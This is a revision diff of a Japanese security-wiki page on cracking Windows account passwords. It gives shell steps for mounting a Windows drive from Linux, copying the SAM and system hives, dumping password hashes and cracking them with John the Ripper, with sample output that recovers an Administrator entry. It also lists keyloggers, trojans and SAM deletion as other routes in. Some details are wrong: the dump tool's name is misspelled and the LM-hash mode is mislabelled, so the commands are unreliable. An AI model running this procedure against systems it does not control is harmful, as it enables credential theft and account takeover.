「Windowsアカウントのパスワードをクラッキングする方法」の版間の差分
提供: セキュリティ
細 |
細 |
||
行36: | 行36: | ||
=== LinuxでSAMデータベースを抜き出す === | === LinuxでSAMデータベースを抜き出す === | ||
− | 以下は、[[bkhive]] を用いて、パスワードハッシュを取得する方法です。 | + | 以下は、[[bkhive]] と [[samedump2]] を用いて、パスワードハッシュを取得する方法です。 |
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
行54: | 行54: | ||
* [[RainbowCrack]] | * [[RainbowCrack]] | ||
* [[John the Ripper]] | * [[John the Ripper]] | ||
+ | |||
+ | === John the Ripper === | ||
+ | |||
+ | [[LMハッシュ]]と[[NTLMハッシュ]]のどちらのモードで動かすか、指定しないと警告が出て、自動的に選択されます。 | ||
+ | <syntaxhighlight lang="bash"> | ||
+ | $ john hashes.txt | ||
+ | Warning: detected hash type "lm", but the string is also recognized as "nt" | ||
+ | Use the "--format=nt" option to force loading these as that type instead | ||
+ | Warning: detected hash type "lm", but the string is also recognized as "nt2" | ||
+ | Use the "--format=nt2" option to force loading these as that type instead | ||
+ | Loaded 7 password hashes with no different salts (LM DES [128/128 BS SSE2-16]) | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | [[NTLMハッシュ]]を指定する場合。 | ||
+ | <syntaxhighlight lang="bash"> | ||
+ | $ john --format=nt hashes.txt | ||
+ | Loaded 6 password hashes with no different salts (NT MD4 [128/128 X2 SSE2-16]) | ||
+ | XXXX (Administrator) | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | [[LMハッシュ]]を指定する場合。 | ||
+ | <syntaxhighlight lang="bash"> | ||
+ | $ john --format=nt2 hashes.txt | ||
+ | Loaded 6 password hashes with no different salts (NT v2 [SSE2i 12x]) | ||
+ | Remaining 2 password hashes with no different salts | ||
+ | </syntaxhighlight> | ||
== パスワードリセットを用いる == | == パスワードリセットを用いる == | ||
行67: | 行93: | ||
* [[PwDump]] | * [[PwDump]] | ||
* [[パスワードクラック]] | * [[パスワードクラック]] | ||
+ | * [[bkhive]] | ||
+ | * [[samedump2]] | ||
+ | * [[KVMのディスクイメージをマウントする]] |
2013年4月14日 (日) 12:10時点における版
目次
概要
Windows の パスワード については、 Windowsのパスワード をご参照ください。
Active Directoryを使用していない場合、Windows アカウントのパスワードは、 SAMデータベース と呼ばれる C:\Windows\System32\config\SAM ファイルに暗号化されて格納されています。
Windows アカウントのパスワードをクラッキングする方法は、いくつか存在します。
- SAMデータベース のファイルを入っているシステムドライブを他のOSからマウントし、 SAMデータベース を読み取る。
- ほかのパソコンに HDD をつないで、マウントする。
- CD や UDB, FD などのメディアで Linux などを起動する。
- SAMデータベースをダンプする特殊なツールを利用する。
- PwDump
- DLLインジェクション 技法により、パスワードハッシュをダンプさせる。
- PwDump
- キーロガー やトロイの木馬を用いる。
- ソーシャルエンジニアリング
パスワードクラック以外の方法は、以下の方法があります。
- パスワードリセット
SAMデータベースのクラッキング
Windows で SAMデータベースを抜き出す
以下のツールを用いて、パスワードハッシュを入手できます。
LinuxでSAMデータベースを抜き出す
以下は、bkhive と samedump2 を用いて、パスワードハッシュを取得する方法です。
mkdir /mnt/windows mount /dev/hda1 /mnt/windows cd /mnt/windows/WINDOWS/system32/config cp SAM ~/ cp system ~/ cd ~/ bkhive system key samedump2 ./system ./SAM > hashes.txt
パスワードハッシュのクラッキング
John the Ripper
LMハッシュとNTLMハッシュのどちらのモードで動かすか、指定しないと警告が出て、自動的に選択されます。
$ john hashes.txt Warning: detected hash type "lm", but the string is also recognized as "nt" Use the "--format=nt" option to force loading these as that type instead Warning: detected hash type "lm", but the string is also recognized as "nt2" Use the "--format=nt2" option to force loading these as that type instead Loaded 7 password hashes with no different salts (LM DES [128/128 BS SSE2-16])
NTLMハッシュを指定する場合。
$ john --format=nt hashes.txt Loaded 6 password hashes with no different salts (NT MD4 [128/128 X2 SSE2-16]) XXXX (Administrator)
LMハッシュを指定する場合。
$ john --format=nt2 hashes.txt Loaded 6 password hashes with no different salts (NT v2 [SSE2i 12x]) Remaining 2 password hashes with no different salts
パスワードリセットを用いる
Windows の SAMデータベース を削除した場合、パスワードが空の SAMデータベース が自動的に作成されます。 ただし、自動的に作成されるのは デフォルトアカウントの Administrator と Guest だけです。
ntpasswd を用いることで、既存のアカウントのパスワードをリセットや再設定が可能です。